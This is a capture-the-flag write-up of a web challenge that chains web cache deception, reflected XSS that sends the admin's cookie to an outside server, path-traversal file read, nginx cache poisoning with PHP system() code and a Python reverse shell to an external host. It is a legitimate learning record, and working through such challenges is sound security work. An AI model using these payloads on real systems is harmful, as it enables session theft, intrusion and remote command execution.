index

On the contacts page, we were able to send links to the admin he then would visit and we assumed that we had to steal credentials to get into the admin.php page. After we were not able to steal any cookies or find XSS on the site we used nmap to scan the host. It showed that both 80 and 8080 were open, later a hint was released hinting that there was a difference between them.

1
2
3
4
5
6
7
8
PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.10.1 (Ubuntu)
|_http-server-header: nginx/1.10.1 (Ubuntu)
|_http-title: TimeHackers Cr3w
8080/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: TimeHackers Cr3w

We found out that 80 is proxing to 8080 and is caching static files like js and css. We also noticed that for http://timehackers/contact.php/nothere.css the server return the contact.php but the url stayed the same and when we first visited a non existent page, it would take longer to load than when loading it a second time. After some research we found an attack called Web Cache Deception attack basically abusing exactly this behavior.

Web_Cache_Manipulation.png

So we send this link to the admin: http://timehackers.de/admin.php/dfghjkdsadsa.css It was cached and when we now visited the link we saw the admin page with the admin logged in.

timehacker_admin

We had a look at the source and found how the passwords were retrieved:

1
2
3
4
<script src="/static/$uper$ecret@dmin.js"></script>
<script>
var csrf_token = "e70587b636fbd11930b99718f71f29c3";
</script>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function get_password(username) {
	$.ajax({
		type: "POST",
		url: "/api.php",
		data: {"token":csrf_token,"action":"get_password","username":username},
		dataType: "json",
		success:function (data) {
			if (data["error"] === '')
			{
				$("#" + username).text(data["result"]);
			}
			else
				alert('Error: ' + data["error"]);
        }
	});
}

The problem was that we could not get valid csrf_tokens to talk to the api.php but now we knew the parameters for api.php and, after some testing, found it to be vulnerable to xss. This was caused by a wrong Content-Type Content-Type: text/html; in combination with json_encode.

timehacker_burpxss

Next we developed a payload that would steal the admin session.

1
2
3
4
5
6
7
<form name="x" action="http://timehackers.xxx.xxx/api.php" method="post">
<input type="hidden" name="token" value="e70587b636fbd1193<svg onload='img = new Image(); img.src=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, [...]).concat(btoa(document.cookie));'>">
<input type="hidden" name="action" value="get_password">
<input type="hidden" name="username" value="admin">

</form>
<script>document.x.submit()</script>

Send a link to the html to the admin and get the cookie.

1
2
3
4
5
x.x.x.x - - [18/Jul/2017 14:31:26] "GET /postxss.html HTTP/1.1" 200 -
x.x.x.x - - [18/Jul/2017 14:31:26] "GET /?cookie=UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw HTTP/1.1" 200 -

echo "UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw"|base64 --decode
PHPSESSID=d7h2fslk252kvd2lil6mdhufc0

Now we were able to login and get the passwords because we can now get valid csrf_tokens.

UserPassword email
admin0mgH@rdP@sS admin@timehackers
jonnyj0HhNy1337jonny@timehackers
pro_hackerM@kE_L0Ve_St0P_H@cKpro_hacker@timehackers

Next we noticed the following url in the admin page, /admin.php?p=logout.php and got local file read.

1
http://timehackers.xxx.xxx/admin.php?p=../../../../etc/passwd

timehackers_passwd

At this point I got stuck because I could not get LFI or read out any php files. After the CTF I was able to solve this tho. You where supposed to see in the nginx.conf that you could include the cached files.

1
2
3
4
5
6
7
8
9
  # Cache
  ##

  proxy_cache_path /var/lib/nginx/cache levels=1:2 keys_zone=backcache:8m max_size=50m;
  #proxy_cache_key "$scheme$request_method$host$request_uri$is_args$args";
  proxy_cache_key "$host$request_uri";
  proxy_cache_valid 200 302 10m;
  proxy_cache_valid 404 1m;
  proxy_cache_methods GET;

So basically send a request to a static file like this:

1
2
/static/main.css?<?=system($_GET[123]);?> HTTP/1.1
Host: foobar

It gets cached in /var/lib/nginx/cache/.

Because from the nginx.conf we know proxy_cache_key "$host$request_uri"; we can predict the cache file location, here:

1
md5(foobar/static/main.css?<?=system($_GET[123]);?>) = 636e51cca21e00aeab685ac59f683d0b

So it will be here:

1
/var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b

Notice that the both the b and d0 folder are derived from the md5 sum.

Now we can get the cache file and execute commands :).

Request:

1
GET /admin.php?p=../../../../var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b&123=id

Response:

1
2
3
4
5
6
KEY: foobar/static/main.css?uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)HTTP/1.1 200 OK
Date: Tue, 18 Jul 2017 12:59:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 17 Jul 2017 14:28:16 GMT
ETag: "266-5548435a56000"

I used a python reverse shell one liner and started hunting for the flag:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("veryhax.ninja",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

(dont forget the & after the command and to urlencode)

And finally I got the FLAG!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@d5fef3a73e4e:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@d5fef3a73e4e:/var/www/html$ ls -lisa
total 72
 306 4 drwxr-xr-x 7 root root 4096 Jul 18 07:32 .
 305 4 drwxr-xr-x 5 root root 4096 Jul 18 07:32 ..
1337 4 -rw-r--r-- 1 root root   85 Jul 17 14:28 .htaccess
1377 4 -rw-r--r-- 1 root root 3838 Jul 17 14:28 admin.php
2925 4 -rw-r--r-- 1 root root 1183 Jul 17 14:28 api.php
1373 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 backgrounds
1339 4 -rw-r--r-- 1 root root  355 Jul 17 14:28 config.php
1368 8 -rw-r--r-- 1 root root 4953 Jul 17 14:28 contact.php
1375 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 fonts
1340 4 -rw-r--r-- 1 root root  167 Jul 17 14:28 functions.php
1366 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 img
4273 4 -rw-r--r-- 1 root root  612 Jul 18 07:30 index.nginx-debian.html
1338 4 -rw-r--r-- 1 root root 1343 Jul 17 14:28 index.php
1372 8 -rwxr-xr-x 1 root root 7036 Jul 17 14:28 simple-php-captcha.php
1341 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 static
2289 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 templates
www-data@d5fef3a73e4e:/var/www/html$ cat /flag/*
ctfzone{b3_c@R3fuL_w17h_C@cH1ng}

Really long but nice challenge and I learned about a new web attack. Props to the author.